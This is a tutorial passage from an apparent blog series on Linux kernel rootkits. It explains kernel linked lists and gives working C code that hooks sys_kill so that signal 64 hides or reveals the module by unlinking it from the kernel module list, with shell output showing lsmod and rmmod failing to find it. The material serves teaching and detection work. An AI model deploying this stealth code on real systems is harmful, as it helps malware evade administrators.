So far, we’ve seen how hooking both syscalls and regular functions can be put to good use. But, seeing as how this is a series on rootkits, we should really be making some considerations on stealth. If you’ve been following along, then once you’d loaded any of the previous rootkits, it’s presence would have been revealed by simply examining the output of lsmod.

$ lsmod | grep rootkit
rootkit                16384  0

Pretty obvious, right? But, I hear you say, this is a userspace tool requesting information from the kernel! Surely we can manipulate this to ignore our little kernel module?! If that was you, then you’d be absolutely right.

Linked Lists in the Kernel

Okay, computer-sciencey section inbound! If you’re already comfortable with the idea of linked lists, then you’re probably safe skipping down a couple of paragraphs.

Linked lists are a way of keeping track of several instances of the same object. The best way to understand them is probably by example:

struct my_object {
    int value;
    struct my_object *next, *prev;
}

If this is the first time you’ve seen something like this, give it a second read - if it looks a little weird, that’s because it is a little weird! The definition of the my_object struct is recursive, but C still makes sense of it. The reason we call it a linked list is because each entry in the list contains pointers to both the next and previous entries. Each item in the list has no idea where it is in the grand scheme of things, but only knows who is in front and who is behind.

A very simple linked list might loook like this:

struct my_object entry1, entry2, entry3;

entry1.prev = NULL;
entry1.next = &entry2;

entry2.prev = &entry1;
entry2.next = &entry3;

entry3.prev = &entry2;
entry3.next = NULL;

The reason we do this is so that we don’t have to keep an index somewhere with all the list entries! Each item simply has to know what’s next and what’s previous to them (and leave the pointer as NULL if they are first/last). This means that we can add/remove/insert a new item simply by modifying a couple of next and prev pointers - without caring about whether we’ve got enough room in memory or having to resize arrays.

The kernel makes heavy use of linked lists. Taking a look at include/linux/types.h, we see:

struct list_head {
    struct list_head *next, *prev;
};

This is the same as how we defined the my_object struct further up! We also have some pretty simple list_add() and list_del functions that we’ll be using later on too. They do exactly what you might think - they add and remove items from linked lists!

Note that in the snippet above from the kernel source, there is no val entry or similar in the struct. This because, on the scale of the entire kernel, it’s easier and more manageable to include the list_head struct as a field within another struct which holds the objects that we’re linking together. Structs within structs!

Keeping track of modules within the kernel

Every kernel module that gets loaded has a THIS_MODULE object setup for it and made available. We can see this by looking at include/linux/export.h:

#ifdef MODULE
extern struct module __this_module;
#define THIS_MODULE (&__this_module)
#else
#define THIS_MODULE ((struct module *)0)
#endif

Either way, THIS_MODULE gets defined as a pointer to a module struct. Let’s take a look at that in include/linux/module.h

struct module {
    enum module_state state;

    /* Member of list of modules */
    struct list_head list;

    /* Unique handle for this module */
    char name[MODULE_NAME_LEN];

    /* More stuff we aren't interested in... */
};

Here we see that we have the list_head struct in there which means that we have a linked list! Indeed, in our kernel module, we could find out which module(s) are ahead of/behind us in the list by looking at the pointers to the next and prev modules. As a concrete example, try this simple module uses the list_entry() function. When we load it, we see (on my system):

$ sudo insmod rootkit.ko
$ dmesg
[12956.924033] rootkit: Loaded >:-)
[12956.924034] rootkit: next kernel module = ufs
[12956.924034] rootkit: prev kernel module =

Why is the prev module name empty? Simply because rootkit is the first module in the list! Checking the output of lsmod (which loops through loaded modules in the order that they appear in the linked list), we can see that this is indeed the case:

$ lsmod | head -n 5
Module                  Size  Used by
rootkit                16384  0
ufs                    81920  0
qnx4                   16384  0
hfsplus               110592  0

Writing the Kernel Module

Armed with this knowledge, we can start to put our rootkit together. Using the same technique as in Part 3, we are going to hook sys_kill() so that we can send bogus 64 signals to toggle the module being hidden or revealed. This functionality is going to encompass two new functions that we need to write; appropriately named hideme() and showme().

First off, the syscall hook (as usual, I’m only going to describe the pt_regs version of the hook - See Part 2 for more information, or the final completed rootkit here). We’re going to use a globally defined hidden variable in order to implement a toggle between hidden and shown (this also means we only have to implement one new signal rather than two!).

static short hidden = 0;

asmlinkage int hook_kill(const struct pt_regs *regs)
{
    void showme(void);
    void hideme(void);

    int sig = regs->si;

    if ( (sig == 64) && (hidden == 0) )
    {
        printk(KERN_INFO "rootkit: hiding rootkit!\n");
        hideme();
        hidden = 1;
    }
    else if ( (sig == 64) && (hidden == 1) )
    {
        printk(KERN_INFO "rootkit: revealing rootkit!\n");
        showme();
        hidden = 0;
    }
    else
        return orig_kill(regs);
}

If you’ve been following along with the other posts in this series, then hopefully this snippet is pretty straightforward for you. As usual, the guts of this rootkit doesn’t lie in the hook itself, but in the showme() and hideme() functions. Because we start off “revealed”, hideme() will always get called before showme(), so let’s look at this first.

We can’t just delete our module from the list and be done - otherwise we wouldn’t be able to add it back! We have to save the position that we are currently in before removing ourselves so that showme() can put us back in the right place later. To do this, we introduce another global variable, but this time a pointer to a list_head struct that we’ll call prev_module. Once we’ve saved the list.prev entry to this global pointer, we can go ahead and safely remove ourselves with list_del().

static struct list_head *prev_module;

void hideme(void)
{
    prev_module = THIS_MODULE->list.prev;
    list_del(&THIS_MODULE->list);
}

Easy, right? We should thank the kernel developers for making our lives so easy with all these list_ macros that are defined in include/linux/list.h! It’s worth noting that THIS_MODULE is still in memory - all we’re doing is rigging the pointers in the linked list to skip over it.

With this in hand, showme() is even simpler. Because we’ve already saved prev_module, it’s as simple as using list_add() to slot ourselves back in:

void showme(void)
{
    list_add(&THIS_MODULE->list, prev_module);
}

Putting it all together

If you’ve been following along yourself, then now is a good time to finish up the syscall hook with ftrace and the other declaration of hook_kill() (not using pt_regs). Alternatively, you can find the working source code, as always, on the repo. Once you’ve built the module and loaded it, take a look at lsmod again and note that rootkit is in there:

$ lsmod | grep rootkit
rootkit                16384  0

Now go ahead and send signal 64 to any pid and check again:

$ kill -64 1
$ lsmod | grep rootkit
$

Nothing! We can check the output of dmesg to see that our module is still functioning:

$ dmesg
[15107.466554] rootkit: Loaded >:-)
[15109.982025] rootkit: hiding rootkit kernel module...

What if we try to unload the module?

$ sudo rmmod rootkit
rmmod: ERROR: ../libkmod/libkmod-module.c:799 kmod_module_remove_module() could not remove 'rootkit': No such file or directory
rmmod: ERROR: could not remove module rootkit: No such file or directory

It can’t find it! This is because rmmod loops through every item in the linked list of modules looking for a name that matches the one we supplied. Because we aren’t in the list, it can’t find us! Sending signal 64 somewhere again brings us back and will let us unload the module.

$ kill -64 1
$ sudo rmmod rootkit
$ dmesg
[15107.466554] rootkit: Loaded >:-)
[15109.982025] rootkit: hiding rootkit kernel module...
[15252.183065] rootkit: revealing rootkit kernel module...
[15255.439374] rootkit: Unloaded :-(

So there we go - now you can hide your rootkit from userspace! It’s worth pointing out that this is a very thin layer of obfuscation. The fact that our rootkit is still running means that we are still in memory and any form of memory analysis or remotely capable DFIR professional would spot us very quickly (especially prancing around with a name like “rootkit”!).

Hope you enjoyed this one - until next time…